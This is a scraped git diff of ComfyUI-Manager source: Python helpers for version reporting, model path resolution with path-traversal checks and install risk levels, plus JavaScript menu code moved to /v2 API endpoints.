from comfyui_manager.common.git_compat import open_repo, setup_git_environment
import logging
import traceback
from comfyui_manager.common import context
import folder_paths
from comfyui_manager.glob import manager_core as core
from comfyui_manager.common import cm_global
comfy_ui_hash = "-"
comfyui_tag = None
def print_comfyui_version():
global comfy_ui_hash
global comfyui_tag
is_detached = False
try:
with open_repo(os.path.dirname(folder_paths.__file__)) as repo:
core.comfy_ui_revision = repo.iter_commits_count()
comfy_ui_hash = repo.head_commit_hexsha
cm_global.variables["comfyui.revision"] = core.comfy_ui_revision
core.comfy_ui_commit_datetime = repo.head_commit_datetime
cm_global.variables["comfyui.commit_datetime"] = core.comfy_ui_commit_datetime
is_detached = repo.head_is_detached
current_branch = repo.active_branch_name
comfyui_tag = context.get_comfyui_tag()
try:
if (
not os.environ.get("__COMFYUI_DESKTOP_VERSION__")
and core.comfy_ui_commit_datetime.date()
< core.comfy_ui_required_commit_datetime.date()
):
logging.warning(
f"\n\n## [WARN] ComfyUI-Manager: Your ComfyUI version ({core.comfy_ui_revision})[{core.comfy_ui_commit_datetime.date()}] is too old. Please update to the latest version. ##\n\n"
)
except Exception:
pass
# process on_revision_detected -->
if "cm.on_revision_detected_handler" in cm_global.variables:
for k, f in cm_global.variables["cm.on_revision_detected_handler"]:
try:
f(core.comfy_ui_revision)
except Exception:
logging.error(f"[ERROR] '{k}' on_revision_detected_handler")
traceback.print_exc()
del cm_global.variables["cm.on_revision_detected_handler"]
else:
logging.warning(
"[ComfyUI-Manager] Some features are restricted due to your ComfyUI being outdated."
)
# <--
if current_branch == "master":
if comfyui_tag:
logging.info(
f"### ComfyUI Version: {comfyui_tag} | Released on '{core.comfy_ui_commit_datetime.date()}'"
)
else:
logging.info(
f"### ComfyUI Revision: {core.comfy_ui_revision} [{comfy_ui_hash[:8]}] | Released on '{core.comfy_ui_commit_datetime.date()}'"
)
else:
if comfyui_tag:
logging.info(
f"### ComfyUI Version: {comfyui_tag} on '{current_branch}' | Released on '{core.comfy_ui_commit_datetime.date()}'"
)
else:
logging.info(
f"### ComfyUI Revision: {core.comfy_ui_revision} on '{current_branch}' [{comfy_ui_hash[:8]}] | Released on '{core.comfy_ui_commit_datetime.date()}'"
)
except Exception:
if is_detached:
logging.info(
f"### ComfyUI Revision: {core.comfy_ui_revision} [{comfy_ui_hash[:8]}] *DETACHED | Released on '{core.comfy_ui_commit_datetime.date()}'"
)
else:
logging.info(
"### ComfyUI Revision: UNKNOWN (The currently installed ComfyUI is not a Git repository)"
)
ALLOWED_UPDATE_POLICIES = ("stable", "stable-comfyui", "nightly", "nightly-comfyui")
ALLOWED_DB_MODES = ("cache", "channel", "local", "remote")
def set_update_policy(mode):
if mode not in ALLOWED_UPDATE_POLICIES:
raise ValueError(
f"Invalid update_policy {mode!r}; must be one of {ALLOWED_UPDATE_POLICIES}"
)
core.get_config()["update_policy"] = mode
def set_db_mode(mode):
if mode not in ALLOWED_DB_MODES:
raise ValueError(
f"Invalid db_mode {mode!r}; must be one of {ALLOWED_DB_MODES}"
)
core.get_config()["db_mode"] = mode
def setup_environment():
git_exe = core.get_config()["git_exe"]
if git_exe != "":
setup_git_environment(git_exe)
def initialize_environment():
context.comfy_path = os.path.dirname(folder_paths.__file__)
core.js_path = os.path.join(context.comfy_path, "web", "extensions")
# Legacy database paths - kept for potential future use
# local_db_model = os.path.join(manager_util.comfyui_manager_path, "model-list.json")
# local_db_alter = os.path.join(manager_util.comfyui_manager_path, "alter-list.json")
# local_db_custom_node_list = os.path.join(
# manager_util.comfyui_manager_path, "custom-node-list.json"
# )
# local_db_extension_node_mappings = os.path.join(
# manager_util.comfyui_manager_path, "extension-node-map.json"
# )
print_comfyui_version()
setup_environment()
core.check_invalid_nodes()
@@ -0,0 +1,60 @@
import locale
import sys
import re
def handle_stream(stream, prefix):
stream.reconfigure(encoding=locale.getpreferredencoding(), errors="replace")
for msg in stream:
if (
prefix == "[!]"
and ("it/s]" in msg or "s/it]" in msg)
and ("%|" in msg or "it [" in msg)
):
if msg.startswith("100%"):
print("\r" + msg, end="", file=sys.stderr),
else:
print("\r" + msg[:-1], end="", file=sys.stderr),
else:
if prefix == "[!]":
print(prefix, msg, end="", file=sys.stderr)
else:
print(prefix, msg, end="")
def convert_markdown_to_html(input_text):
pattern_a = re.compile(r"\[a/([^]]+)]\(([^)]+)\)")
pattern_w = re.compile(r"\[w/([^]]+)]")
pattern_i = re.compile(r"\[i/([^]]+)]")
pattern_bold = re.compile(r"\*\*([^*]+)\*\*")
pattern_white = re.compile(r"%%([^*]+)%%")
def replace_a(match):
return f"<a href='{match.group(2)}' target='blank'>{match.group(1)}</a>"
def replace_w(match):
return f"<p class='cm-warn-note'>{match.group(1)}</p>"
def replace_i(match):
return f"<p class='cm-info-note'>{match.group(1)}</p>"
def replace_bold(match):
return f"<B>{match.group(1)}</B>"
def replace_white(match):
return f"<font color='white'>{match.group(1)}</font>"
input_text = (
input_text.replace("\\[", "&#91;")
.replace("\\]", "&#93;")
.replace("<", "&lt;")
.replace(">", "&gt;")
)
result_text = re.sub(pattern_a, replace_a, input_text)
result_text = re.sub(pattern_w, replace_w, result_text)
result_text = re.sub(pattern_i, replace_i, result_text)
result_text = re.sub(pattern_bold, replace_bold, result_text)
result_text = re.sub(pattern_white, replace_white, result_text)
return result_text.replace("\n", "<BR>")
+161
View File
@@ -0,0 +1,161 @@
import os
import logging
import concurrent.futures
import folder_paths
from comfyui_manager.glob import manager_core as core
from comfyui_manager.glob.constants import model_dir_name_map, MODEL_DIR_NAMES
def get_model_dir(data, show_log=False):
if "download_model_base" in folder_paths.folder_names_and_paths:
models_base = folder_paths.folder_names_and_paths["download_model_base"][0][0]
else:
models_base = folder_paths.models_dir
# NOTE: Validate to prevent path traversal.
if any(char in data["filename"] for char in {"/", "\\", ":"}):
return None
def resolve_custom_node(save_path):
save_path = save_path[13:] # remove 'custom_nodes/'
# NOTE: Validate to prevent path traversal.
if save_path.startswith(os.path.sep) or ":" in save_path:
return None
repo_name = save_path.replace("\\", "/").split("/")[
0
] # get custom node repo name
# NOTE: The creation of files within the custom node path should be removed in the future.
repo_path = core.lookup_installed_custom_nodes_legacy(repo_name)
if repo_path is not None and repo_path[0]:
# Returns the retargeted path based on the actually installed repository
return os.path.join(os.path.dirname(repo_path[1]), save_path)
else:
return None
if data["save_path"] != "default":
if ".." in data["save_path"] or data["save_path"].startswith("/"):
if show_log:
logging.info(
f"[WARN] '{data['save_path']}' is not allowed path. So it will be saved into 'models/etc'."
)
base_model = os.path.join(models_base, "etc")
else:
if data["save_path"].startswith("custom_nodes"):
base_model = resolve_custom_node(data["save_path"])
if base_model is None:
if show_log:
logging.info(
f"[ComfyUI-Manager] The target custom node for model download is not installed: {data['save_path']}"
)
return None
else:
base_model = os.path.join(models_base, data["save_path"])
else:
model_dir_name = model_dir_name_map.get(data["type"].lower())
if model_dir_name is not None:
base_model = folder_paths.folder_names_and_paths[model_dir_name][0][0]
else:
base_model = os.path.join(models_base, "etc")
return base_model
def get_model_path(data, show_log=False):
base_model = get_model_dir(data, show_log)
if base_model is None:
return None
else:
if data["filename"] == "<huggingface>":
return os.path.join(base_model, os.path.basename(data["url"]))
else:
return os.path.join(base_model, data["filename"])
def check_model_installed(json_obj):
def is_exists(model_dir_name, filename, url):
if filename == "<huggingface>":
filename = os.path.basename(url)
dirs = folder_paths.get_folder_paths(model_dir_name)
for x in dirs:
if os.path.exists(os.path.join(x, filename)):
return True
return False
total_models_files = set()
for x in MODEL_DIR_NAMES:
for y in folder_paths.get_filename_list(x):
total_models_files.add(y)
def process_model_phase(item):
if (
"diffusion" not in item["filename"]
and "pytorch" not in item["filename"]
and "model" not in item["filename"]
):
# non-general name case
if item["filename"] in total_models_files:
item["installed"] = "True"
return
if item["save_path"] == "default":
model_dir_name = model_dir_name_map.get(item["type"].lower())
if model_dir_name is not None:
item["installed"] = str(
is_exists(model_dir_name, item["filename"], item["url"])
)
else:
item["installed"] = "False"
else:
model_dir_name = item["save_path"].split("/")[0]
if model_dir_name in folder_paths.folder_names_and_paths:
if is_exists(model_dir_name, item["filename"], item["url"]):
item["installed"] = "True"
if "installed" not in item:
if item["filename"] == "<huggingface>":
filename = os.path.basename(item["url"])
else:
filename = item["filename"]
fullpath = os.path.join(
folder_paths.models_dir, item["save_path"], filename
)
item["installed"] = "True" if os.path.exists(fullpath) else "False"
with concurrent.futures.ThreadPoolExecutor(8) as executor:
for item in json_obj["models"]:
executor.submit(process_model_phase, item)
async def check_whitelist_for_model(item):
from comfyui_manager.data_models import ManagerDatabaseSource
json_obj = await core.get_data_by_mode(ManagerDatabaseSource.cache.value, "model-list.json")
for x in json_obj.get("models", []):
if (
x["save_path"] == item["save_path"]
and x["base"] == item["base"]
and x["filename"] == item["filename"]
):
return True
json_obj = await core.get_data_by_mode(ManagerDatabaseSource.local.value, "model-list.json")
for x in json_obj.get("models", []):
if (
x["save_path"] == item["save_path"]
and x["base"] == item["base"]
and x["filename"] == item["filename"]
):
return True
return False
@@ -0,0 +1,65 @@
import concurrent.futures
from comfyui_manager.glob import manager_core as core
def check_state_of_git_node_pack(
node_packs, do_fetch=False, do_update_check=True, do_update=False
):
if do_fetch:
print("Start fetching...", end="")
elif do_update:
print("Start updating...", end="")
elif do_update_check:
print("Start update check...", end="")
def process_custom_node(item):
core.check_state_of_git_node_pack_single(
item, do_fetch, do_update_check, do_update
)
with concurrent.futures.ThreadPoolExecutor(4) as executor:
for k, v in node_packs.items():
if v.get("active_version") in ["unknown", "nightly"]:
executor.submit(process_custom_node, v)
if do_fetch:
print("\x1b[2K\rFetching done.")
elif do_update:
update_exists = any(
item.get("updatable", False) for item in node_packs.values()
)
if update_exists:
print("\x1b[2K\rUpdate done.")
else:
print("\x1b[2K\rAll extensions are already up-to-date.")
elif do_update_check:
print("\x1b[2K\rUpdate check done.")
def nickname_filter(json_obj):
preemptions_map = {}
for k, x in json_obj.items():
if "preemptions" in x[1]:
for y in x[1]["preemptions"]:
preemptions_map[y] = k
elif k.endswith("/ComfyUI"):
for y in x[0]:
preemptions_map[y] = k
updates = {}
for k, x in json_obj.items():
removes = set()
for y in x[0]:
k2 = preemptions_map.get(y)
if k2 is not None and k != k2:
removes.add(y)
if len(removes) > 0:
updates[k] = [y for y in x[0] if y not in removes]
for k, v in updates.items():
json_obj[k][0] = v
return json_obj
@@ -0,0 +1,75 @@
from comfyui_manager.glob import manager_core as core
from comfy.cli_args import args
from comfyui_manager.data_models import SecurityLevel, RiskLevel, ManagerDatabaseSource
from comfyui_manager.common.manager_security import (
is_loopback,
is_safe_path_target,
get_safe_file_path,
reject_simple_form_post,
)
# Re-export for backward compatibility
__all__ = [
'is_loopback',
'is_safe_path_target',
'get_safe_file_path',
'reject_simple_form_post',
'is_allowed_security_level',
'get_risky_level',
]
def is_allowed_security_level(level):
is_local_mode = is_loopback(args.listen)
is_personal_cloud = core.get_config()['network_mode'].lower() == 'personal_cloud'
if level == RiskLevel.block.value:
return False
elif level == RiskLevel.high_.value:
if is_local_mode:
return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal_.value]
elif is_personal_cloud:
return core.get_config()['security_level'] == SecurityLevel.weak.value
else:
return False
elif level == RiskLevel.high.value:
if is_local_mode:
return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal_.value]
else:
return core.get_config()['security_level'] == SecurityLevel.weak.value
elif level == RiskLevel.middle_.value:
if is_local_mode or is_personal_cloud:
return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal.value, SecurityLevel.normal_.value]
else:
return False
elif level == RiskLevel.middle.value:
return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal.value, SecurityLevel.normal_.value]
else:
return True
async def get_risky_level(files, pip_packages):
json_data1 = await core.get_data_by_mode(ManagerDatabaseSource.local.value, "custom-node-list.json")
json_data2 = await core.get_data_by_mode(
ManagerDatabaseSource.cache.value,
"custom-node-list.json",
channel_url="https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main",
)
all_urls = set()
for x in json_data1["custom_nodes"] + json_data2["custom_nodes"]:
all_urls.update(x.get("files", []))
for x in files:
if x not in all_urls:
return RiskLevel.high_.value
all_pip_packages = set()
for x in json_data1["custom_nodes"] + json_data2["custom_nodes"]:
all_pip_packages.update(x.get("pip", []))
for p in pip_packages:
if p not in all_pip_packages:
return RiskLevel.block.value
return RiskLevel.middle_.value
@@ -9,7 +9,6 @@ This directory contains the JavaScript frontend implementation for ComfyUI-Manag
- **model-manager.js**: Handles the model management interface for downloading and organizing AI models.
- **components-manager.js**: Manages reusable workflow components system.
- **snapshot.js**: Implements the snapshot system for backing up and restoring installations.
- **node-usage-analyzer.js**: Implements the UI for analyzing node usage in workflows.
## Sharing Components
@@ -47,6 +46,5 @@ The frontend follows a modular component-based architecture:
CSS files are included for specific components:
- **custom-nodes-manager.css**: Styling for the node management UI
- **model-manager.css**: Styling for the model management UI
- **node-usage-analyzer.css**: Styling for the node usage analyzer UI
This frontend implementation provides a comprehensive yet user-friendly interface for managing the ComfyUI ecosystem.
@@ -1,6 +1,6 @@
import { api } from "../../scripts/api.js";
import { app } from "../../scripts/app.js";
import { sleep, customConfirm, customAlert, handle403Response, show_message } from "./common.js";
import { sleep, customConfirm, customAlert } from "./common.js";
async function tryInstallCustomNode(event) {
let msg = '-= [ComfyUI Manager] extension installation request =-\n\n';
@@ -25,7 +25,7 @@ async function tryInstallCustomNode(event) {
const res = await customConfirm(msg);
if(res) {
if(event.detail.target.installed == 'Disabled') {
const response = await api.fetchApi(`/customnode/toggle_active`, {
const response = await api.fetchApi(`/v2/customnode/toggle_active`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(event.detail.target)
@@ -35,14 +35,14 @@ async function tryInstallCustomNode(event) {
await sleep(300);
app.ui.dialog.show(`Installing... '${event.detail.target.title}'`);
const response = await api.fetchApi(`/customnode/install`, {
const response = await api.fetchApi(`/v2/customnode/install`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(event.detail.target)
});
if(response.status == 403) {
await handle403Response(response);
show_message('This action is not allowed with this security level configuration.');
return false;
}
else if(response.status == 400) {
@@ -52,9 +52,9 @@ async function tryInstallCustomNode(event) {
}
}
let response = await api.fetchApi("/manager/reboot", { method: 'POST' });
let response = await api.fetchApi("/v2/manager/reboot", { method: 'POST' });
if(response.status == 403) {
await handle403Response(response);
show_message('This action is not allowed with this security level configuration.');
return false;
}
@@ -14,11 +14,9 @@ import { OpenArtShareDialog } from "./comfyui-share-openart.js";
import {
free_models, install_pip, install_via_git_url, manager_instance,
rebootAPI, setManagerInstance, show_message, customAlert, customPrompt,
infoToast, showTerminal, setNeedRestart, handle403Response
infoToast, showTerminal, setNeedRestart, generateUUID
} from "./common.js";
import { ComponentBuilderDialog, getPureName, load_components, set_component_policy } from "./components-manager.js";
import { CustomNodesManager } from "./custom-nodes-manager.js";
import { NodeUsageAnalyzer } from "./node-usage-analyzer.js";
import { ModelManager } from "./model-manager.js";
import { SnapshotManager } from "./snapshot.js";
import { buildGuiFrame, createSettingsCombo } from "./comfyui-gui-builder.js";
@@ -196,8 +194,7 @@ docStyle.innerHTML = `
}
`;
function is_legacy_front() {
let compareVersion = '1.2.49';
function isBeforeFrontendVersion(compareVersion) {
try {
const frontendVersion = window['__COMFYUI_FRONTEND_VERSION__'];
if (typeof frontendVersion !== 'string') {
@@ -239,7 +236,7 @@ var restart_stop_button = null;
var update_policy_combo = null;
let share_option = 'all';
var is_updating = false;
var batch_id = null;
// copied style from https://github.com/pythongosssss/ComfyUI-Custom-Scripts
@@ -410,7 +407,7 @@ const style = `
`;
async function init_share_option() {
api.fetchApi('/manager/share_option')
api.fetchApi('/v2/manager/share_option')
.then(response => response.text())
.then(data => {
share_option = data || 'all';
@@ -418,7 +415,7 @@ async function init_share_option() {
}
async function init_notice(notice) {
api.fetchApi('/manager/notice')
api.fetchApi('/v2/manager/notice')
.then(response => response.text())
.then(data => {
notice.innerHTML = data;
@@ -469,14 +466,19 @@ async function updateComfyUI() {
let prev_text = update_comfyui_button.innerText;
update_comfyui_button.innerText = "Updating ComfyUI...";
set_inprogress_mode();
const response = await api.fetchApi('/manager/queue/update_comfyui', { method: 'POST' });
// set_inprogress_mode();
showTerminal();
is_updating = true;
await api.fetchApi('/manager/queue/start', { method: 'POST' });
batch_id = generateUUID();
let batch = {};
batch['batch_id'] = batch_id;
batch['update_comfyui'] = true;
const res = await api.fetchApi(`/v2/manager/queue/batch`, {
method: 'POST',
body: JSON.stringify(batch)
});
}
function showVersionSelectorDialog(versions, current, onSelect) {
@@ -607,7 +609,7 @@ async function switchComfyUI() {
switch_comfyui_button.disabled = true;
switch_comfyui_button.style.backgroundColor = "gray";
let res = await api.fetchApi(`/comfyui_manager/comfyui_versions`, { cache: "no-store" });
let res = await api.fetchApi(`/v2/comfyui_manager/comfyui_versions`, { cache: "no-store" });
switch_comfyui_button.disabled = false;
switch_comfyui_button.style.backgroundColor = "";
@@ -626,14 +628,23 @@ async function switchComfyUI() {
showVersionSelectorDialog(versions, obj.current, async (selected_version) => {
if(selected_version == 'nightly') {
update_policy_combo.value = 'nightly-comfyui';
api.fetchApi('/manager/policy/update', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ value: 'nightly-comfyui' }) });
api.fetchApi('/v2/manager/policy/update', { method: 'POST', body: JSON.stringify({value: 'nightly-comfyui'}) });
}
else {
update_policy_combo.value = 'stable-comfyui';
api.fetchApi('/manager/policy/update', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ value: 'stable-comfyui' }) });
api.fetchApi('/v2/manager/policy/update', { method: 'POST', body: JSON.stringify({value: 'stable-comfyui'}) });
}
let response = await api.fetchApi('/comfyui_manager/comfyui_switch_version', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ ver: selected_version }), cache: "no-store" });
let response = await api.fetchApi('/v2/comfyui_manager/comfyui_switch_version', {
method: 'POST',
cache: "no-store",
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
ver: selected_version,
client_id: api.clientId,
ui_id: api.clientId,
}),
});
if (response.status == 200) {
infoToast(`ComfyUI version is switched to ${selected_version}`);
}
@@ -651,18 +662,17 @@ async function onQueueStatus(event) {
const isElectron = 'electronAPI' in window;
if(event.detail.status == 'in_progress') {
set_inprogress_mode();
// set_inprogress_mode();
update_all_button.innerText = `in progress.. (${event.detail.done_count}/${event.detail.total_count})`;
}
else if(event.detail.status == 'done') {
else if(event.detail.status == 'all-done') {
reset_action_buttons();
if(!is_updating) {
}
else if(event.detail.status == 'batch-done') {
if(batch_id != event.detail.batch_id) {
return;
}
is_updating = false;
let success_list = [];
let failed_list = [];
let comfyui_state = null;
@@ -748,9 +758,9 @@ async function onQueueStatus(event) {
const rebootButton = document.getElementById('cm-reboot-button5');
rebootButton?.addEventListener("click",
async function() {
if(await rebootAPI()) {
manager_instance.close();
function() {
if(rebootAPI()) {
manager_dialog.close();
}
});
}
@@ -762,46 +772,28 @@ api.addEventListener("cm-queue-status", onQueueStatus);
async function updateAll(update_comfyui) {
update_all_button.innerText = "Updating...";
set_inprogress_mode();
// set_inprogress_mode();
var mode = manager_instance.datasrc_combo.value;
showTerminal();
batch_id = generateUUID();
let batch = {};
if(update_comfyui) {
update_all_button.innerText = "Updating ComfyUI...";
await api.fetchApi('/manager/queue/update_comfyui', { method: 'POST' });
batch['update_comfyui'] = true;
}
const response = await api.fetchApi('/manager/queue/update_all', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ mode: mode }) });
batch['update_all'] = mode;
if (response.status == 403) {
await handle403Response(response);
reset_action_buttons();
}
else if (response.status == 401) {
customAlert('Another task is already in progress. Please stop the ongoing task first.');
reset_action_buttons();
}
else if(response.status == 200) {
is_updating = true;
await api.fetchApi('/manager/queue/start', { method: 'POST' });
}
const res = await api.fetchApi(`/v2/manager/queue/batch`, {
method: 'POST',
body: JSON.stringify(batch)
});
}
function newDOMTokenList(initialTokens) {
const tmp = document.createElement(`div`);
const classList = tmp.classList;
if (initialTokens) {
initialTokens.forEach(token => {
classList.add(token);
});
}
return classList;
}
/**
* Check whether the node is a potential output node (img, gif or video output)
*/
@@ -814,7 +806,7 @@ function restartOrStop() {
rebootAPI();
}
else {
api.fetchApi('/manager/queue/reset', { method: 'POST' });
api.fetchApi('/v2/manager/queue/reset', { method: 'POST' });
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
}
}
@@ -910,17 +902,6 @@ class ManagerMenuDialog extends ComfyDialog {
CustomNodesManager.instance.show(CustomNodesManager.ShowMode.IN_WORKFLOW);
}
}),
$el("button.cm-button", {
type: "button",
textContent: "Node Usage Analyzer",
onclick:
() => {
if(!NodeUsageAnalyzer.instance) {
NodeUsageAnalyzer.instance = new NodeUsageAnalyzer(app, self);
}
NodeUsageAnalyzer.instance.show(NodeUsageAnalyzer.SortMode.BY_PACKAGE);
}
}),
$el("div", {}, []),
$el("button.p-button.p-component.cm-button", {
@@ -974,119 +955,21 @@ class ManagerMenuDialog extends ComfyDialog {
this.datasrc_combo.appendChild($el('option', { value: 'local', text: 'Local' }, []));
this.datasrc_combo.appendChild($el('option', { value: 'remote', text: 'Channel (remote)' }, []));
api.fetchApi('/manager/db_mode')
api.fetchApi('/v2/manager/db_mode')
.then(response => response.text())
.then(data => { this.datasrc_combo.value = data; });
this.datasrc_combo.addEventListener('change', function (event) {
api.fetchApi('/manager/db_mode', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ value: event.target.value }) });
api.fetchApi('/v2/manager/db_mode', { method: 'POST', body: JSON.stringify({value: event.target.value}) });
});
const dbRetrievalSetttingItem = createSettingsCombo("DB", this.datasrc_combo);
// preview method
let preview_combo = document.createElement("select");
preview_combo.setAttribute("title", "Configure how latent variables will be decoded during preview in the sampling process.");
preview_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
// Loading state to prevent flash of enabled state
preview_combo.appendChild($el('option', { value: '', text: 'Loading...', disabled: true }, []));
preview_combo.appendChild($el('option', { value: 'auto', text: 'Auto' }, []));
preview_combo.appendChild($el('option', { value: 'taesd', text: 'TAESD (slow)' }, []));
preview_combo.appendChild($el('option', { value: 'latent2rgb', text: 'Latent2RGB (fast)' }, []));
preview_combo.appendChild($el('option', { value: 'none', text: 'None (very fast)' }, []));
// Start disabled to prevent flash
preview_combo.disabled = true;
preview_combo.value = '';
// Fetch current state
api.fetchApi('/manager/preview_method')
.then(response => response.text())
.then(data => {
// Remove loading option
preview_combo.querySelector('option[value=""]')?.remove();
if (data === "DISABLED") {
// ComfyUI per-queue preview feature is active
preview_combo.disabled = true;
preview_combo.value = 'auto';
// Accessibility attributes
preview_combo.setAttribute("aria-disabled", "true");
preview_combo.setAttribute("aria-label",
"Preview method setting (disabled - managed by ComfyUI). " +
"Use Settings > Execution > Live preview method instead."
);
// Tooltip for mouse users
preview_combo.setAttribute("title",
"This feature is now provided natively by ComfyUI. " +
"Please use 'Settings > Execution > Live preview method' instead."
);
// Visual feedback
preview_combo.style.opacity = '0.6';
preview_combo.style.cursor = 'not-allowed';
} else {
// Manager feature is active
preview_combo.disabled = false;
preview_combo.value = data;
// Accessibility for enabled state
preview_combo.setAttribute("aria-label",
"Preview method setting. Select how latent variables are decoded during preview."
);
}
})
.catch(error => {
console.error('[ComfyUI-Manager] Failed to fetch preview method status:', error);
// Error recovery: fallback to enabled
preview_combo.querySelector('option[value=""]')?.remove();
preview_combo.disabled = false;
preview_combo.value = 'auto';
});
preview_combo.addEventListener('change', function (event) {
// Ignore if disabled
if (preview_combo.disabled) {
event.preventDefault();
return;
}
// Normal operation
api.fetchApi('/manager/preview_method', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ value: event.target.value }) })
.then(response => {
if (response.status === 403) {
// Feature transitioned to native
alert(
'This feature is now provided natively by ComfyUI.\n' +
'Please use \'Settings > Execution > Live preview method\' instead.'
);
preview_combo.disabled = true;
preview_combo.style.opacity = '0.6';
preview_combo.style.cursor = 'not-allowed';
// Update aria attributes
preview_combo.setAttribute("aria-disabled", "true");
preview_combo.setAttribute("aria-label",
"Preview method setting (disabled - managed by ComfyUI). " +
"Use Settings > Execution > Live preview method instead."
);
}
})
.catch(error => {
console.error('[ComfyUI-Manager] Preview method update failed:', error);
});
});
const previewSetttingItem = createSettingsCombo("Preview method", preview_combo);
// channel
let channel_combo = document.createElement("select");
channel_combo.setAttribute("title", "Configure the channel for retrieving data from the Custom Node list (including missing nodes) or the Model list.");
channel_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
api.fetchApi('/manager/channel_url_list')
api.fetchApi('/v2/manager/channel_url_list')
.then(response => response.json())
.then(async data => {
try {
@@ -1099,7 +982,7 @@ class ManagerMenuDialog extends ComfyDialog {
}
channel_combo.addEventListener('change', function (event) {
api.fetchApi('/manager/channel_url_list', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ value: event.target.value }) });
api.fetchApi('/v2/manager/channel_url_list', { method: 'POST', body: JSON.stringify({value: event.target.value}) });
});
channel_combo.value = data.selected;
@@ -1129,7 +1012,7 @@ class ManagerMenuDialog extends ComfyDialog {
share_combo.appendChild($el('option', { value: option[0], text: `${option[1]}` }, []));
}
api.fetchApi('/manager/share_option')
api.fetchApi('/v2/manager/share_option')
.then(response => response.text())
.then(data => {
share_combo.value = data || 'all';
@@ -1139,7 +1022,7 @@ class ManagerMenuDialog extends ComfyDialog {
share_combo.addEventListener('change', function (event) {
const value = event.target.value;
share_option = value;
api.fetchApi(`/manager/share_option?value=${value}`);
api.fetchApi(`/v2/manager/share_option?value=${value}`);
const shareButton = document.getElementById("shareButton");
if (value === 'none') {
shareButton.style.display = "none";
@@ -1150,40 +1033,20 @@ class ManagerMenuDialog extends ComfyDialog {
const shareSetttingItem = createSettingsCombo("Share", share_combo);
let component_policy_combo = document.createElement("select");
component_policy_combo.setAttribute("title", "When loading the workflow, configure which version of the component to use.");
component_policy_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
component_policy_combo.appendChild($el('option', { value: 'workflow', text: 'Use workflow version' }, []));
component_policy_combo.appendChild($el('option', { value: 'higher', text: 'Use higher version' }, []));
component_policy_combo.appendChild($el('option', { value: 'mine', text: 'Use my version' }, []));
api.fetchApi('/manager/policy/component')
.then(response => response.text())
.then(data => {
component_policy_combo.value = data;
set_component_policy(data);
});
component_policy_combo.addEventListener('change', function (event) {
api.fetchApi('/manager/policy/component', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ value: event.target.value }) });
set_component_policy(event.target.value);
});
const componentSetttingItem = createSettingsCombo("Component", component_policy_combo);
update_policy_combo = document.createElement("select");
update_policy_combo.setAttribute("title", "Sets the policy to be applied when performing an update.");
update_policy_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
update_policy_combo.appendChild($el('option', { value: 'stable-comfyui', text: 'ComfyUI Stable Version' }, []));
update_policy_combo.appendChild($el('option', { value: 'nightly-comfyui', text: 'ComfyUI Nightly Version' }, []));
api.fetchApi('/manager/policy/update')
api.fetchApi('/v2/manager/policy/update')
.then(response => response.text())
.then(data => {
update_policy_combo.value = data;
});
update_policy_combo.addEventListener('change', function (event) {
api.fetchApi('/manager/policy/update', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ value: event.target.value }) });
api.fetchApi('/v2/manager/policy/update', { method: 'POST', body: JSON.stringify({value: event.target.value}) });
});
const updateSetttingItem = createSettingsCombo("Update", update_policy_combo);
@@ -1194,9 +1057,7 @@ class ManagerMenuDialog extends ComfyDialog {
return [
dbRetrievalSetttingItem,
channelSetttingItem,
previewSetttingItem,
shareSetttingItem,
componentSetttingItem,
updateSetttingItem,
//[TODO] replace mt-2 with wrapper div with flex column gap
$el("filedset.cm-experimental.mt-auto", {}, [
@@ -1479,12 +1340,12 @@ class ManagerMenuDialog extends ComfyDialog {
}
async function getVersion() {
let version = await api.fetchApi(`/manager/version`);
let version = await api.fetchApi(`/v2/manager/version`);
return await version.text();
}
app.registerExtension({
name: "Comfy.ManagerMenu",
name: "Comfy.Legacy.ManagerMenu",
aboutPageBadges: [
{
@@ -1536,39 +1397,6 @@ app.registerExtension({
});
},
async setup() {
let orig_clear = app.graph.clear;
app.graph.clear = function () {
orig_clear.call(app.graph);
load_components();
};
load_components();
// Fetch and show startup alerts (critical errors like outdated ComfyUI)
// Poll until extensionManager.toast is ready (set in Vue onMounted)
const showStartupAlerts = async () => {
let toastWaitCount = 0;
const waitForToast = () => {
if (window['app']?.extensionManager?.toast) {
fetch('/manager/startup_alerts')
.then(response => response.ok ? response.json() : [])
.then(alerts => {
for (const alert of alerts) {
customAlert(alert.message);
}
})
.catch(e => console.warn('[ComfyUI-Manager] Failed to fetch startup alerts:', e));
} else if (toastWaitCount < 300) { // Max 30 seconds (300 * 100ms)
toastWaitCount++;
setTimeout(waitForToast, 100);
} else {
console.warn('[ComfyUI-Manager] Timeout waiting for toast. Startup alerts skipped.');
}
};
waitForToast();
};
showStartupAlerts();
const menu = document.querySelector(".comfy-menu");
const separator = document.createElement("hr");
@@ -1640,8 +1468,6 @@ app.registerExtension({
tooltip: "Share"
}).element
);
app.menu?.settingsGroup.element.before(cmGroup.element);
}
catch(exception) {
console.log('ComfyUI is outdated. New style menu based features are disabled.');
@@ -1699,19 +1525,6 @@ app.registerExtension({
node.prototype.getExtraMenuOptions = function (_, options) {
origGetExtraMenuOptions?.apply?.(this, arguments);
